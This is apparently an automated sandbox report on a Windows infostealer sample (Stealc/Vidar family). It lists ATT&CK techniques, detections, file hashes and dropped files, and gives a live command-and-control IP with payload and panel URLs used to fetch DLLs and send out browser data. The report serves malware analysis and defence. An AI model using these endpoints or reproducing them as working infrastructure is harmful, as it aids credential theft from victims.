Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
198.187.3.20.in-addr.arpa	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.phpser	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php3	100%	URL Reputation	malware
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.phpNT	20%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
198.187.3.20.in-addr.arpa	unknown	unknown	false	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/ik	file.exe, 00000000.00000002.1983612391.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/chrome_newtab	EGDAEBGI.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpNT	file.exe, 00000000.00000002.1983612391.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	true	20%, Virustotal, Browse	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, EGDAEBGI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpp?	file.exe, 00000000.00000002.1983612391.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2003246117.0000000029623000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, EGDAEBGI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.1983612391.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmp	true	URL Reputation: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1822522429.000000001D59C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37D	file.exe, 00000000.00000002.1983612391.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll4	file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	DAEGIIECGHCBFHJKEHDB.0.dr	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Visual	file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phps	file.exe, 00000000.00000002.1983612391.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, EGDAEBGI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpser	file.exe, 00000000.00000002.1983612391.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllF	file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2003246117.0000000029623000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.0.dr	false		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2005730858.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1995464192.000000001D694000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dllJ	file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllX	file.exe, 00000000.00000002.1983612391.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.2003246117.0000000029623000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	EGDAEBGI.0.dr	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	file.exe, 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, EGDAEBGI.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2003246117.0000000029623000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.0.dr	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, file.exe, 00000000.00000003.1822522429.000000001D59C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://www.ecosia.org/newtab/	EGDAEBGI.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpERmi	file.exe, 00000000.00000002.1983612391.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dlln	file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	EGDAEBGI.0.dr	false	URL Reputation: safe	unknown
https://ac.ecopnacl	file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpVB	file.exe, 00000000.00000002.1983612391.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpHzibE	file.exe, 00000000.00000002.1983612391.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2003246117.0000000029623000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllr	file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.1983612391.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpnomi	file.exe, 00000000.00000002.1983612391.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpes	file.exe, 00000000.00000002.1983612391.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dllX	file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dlld	file.exe, 00000000.00000002.1983612391.0000000000A81000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll&	file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecop	file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	EGDAEBGI.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538414
Start date and time:	2024-10-21 09:05:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 78 Number of non-executed functions: 115
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	L0ad3r.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	L0ad3r.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKJDGIEHCAEHIEBFBKKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFIEBKEHCAKFCBFIDAAKJDAAFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEGIIECGHCBFHJKEHDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DGCAAAFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGHCBGCBFHIIDHIJKFB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGDAEBGI

Download File

Process:	C:\Users\user\Desktop\file.exe
